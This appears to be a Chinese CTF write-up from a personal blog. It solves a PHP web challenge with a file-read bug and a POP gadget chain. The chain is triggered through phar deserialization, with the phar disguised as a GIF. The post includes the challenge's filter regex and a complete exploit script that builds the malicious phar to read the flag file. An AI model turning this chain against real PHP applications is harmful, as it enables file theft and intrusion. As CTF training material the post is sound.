title: phar+unserilze.md
date: 2022-08-22 21:20:01
tags:
打开题目发现在查看文件的时候可以文件读取
这里尝试读取flag.php
文件不存在 。。。
查看index的源代码把
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
这里包含了 base.php
然后我么读取base.php的源代码
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
这里面 还有很多 包含的文件 我们依次弄出来(这里面phar.phar和test1.php是我自己写的)
这里就不贴所有的代码了
把重要的 用到的代码贴出来
先把class.php贴出来吧
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
//phpinfo();
$content = $this->str['str']->source;
return $content;
}
public function __set($key, $value)
{
$this->$key = $value;
}
public function _show()
{
if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
var_dump($key);
//phpinfo();
return $this->get($key);
}
public function get($key)
{
if (isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
//var_dump($value);
$text = base64_encode(file_get_contents($value));
return $text;
}
}
我们可以看到这里面 是有个file_get_contents函数
所以我们要利用这个函数把flag.php带出来
构造exp
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str']=new Test();
//$this->source='kkkl';
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params['source']='/var/www/html/f1ag.php';
}
}
$show=new Show();
$show->source=new Show();
echo base64_encode(serialize($show));
这个exp是没有问题的 但是@!!!!!!一个非常重要的东西 我们这里面没有反序列化 啊 。。。。这是主要的
但是这里面有提示我们 phar了
if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source))
这里也看到并没有禁用phar伪协议 所以我们就要用到phar反序列化了
这里简单的分析一下phar反序列化
phar文件是一个压缩包
利用phar文件会以序列化的形式存储用户自定义的mete-data这一特性
该方法在文件系统函数 参数可控的情况下配合phar://伪协议 可不依赖unserialize()直接进行反序列化操作
这里phar文件结构就不再讲了
可以看下面这篇文章
https://paper.seebug.org/680/#22-demo
这里主要关键点
只用在利用phar伪协议配合文件操作函数(还有一些其他的函数)的时候才能进行反序列化操作
将phar未造成其他格式的文件
php识别phar文件是依靠其文件头的stub来识别的 更确切的来说的依靠
<?php __HALT_COMPILER(); ?>
来识别的。
对前面的内容 和文件的后缀名是没有要求的
所以我们就可以通过在文件头部添加任意文件头+修改后缀名的方式来将phar文件伪装成其他格式的图片
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
现在回到刚才exp的构造
刚才我们说 这里没有unserliaze函数 真能通过phar伪协议来读取phar文件 所以如果没有unserliaze函数的话就不能通过wakeup函数来触发反序列化的链子
这里我们可以做一下演示
。。。。。jb啊 还能触发 。。。。那为啥我没成功。。
。。。。fufufufufufufu
先刷别的把
先把最后的exp弄出来吧
<?php
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str=new Show();
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str']=new Test();
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params['source']='/var/www/html/f1ag.php';
}
}
$C1e4r=new C1e4r();
echo base64_encode(serialize($C1e4r));
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($C1e4r);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
标签:function,md,unserilze,file,phar,source,str,public
From: https://www.cnblogs.com/kkkkl/p/16748384.html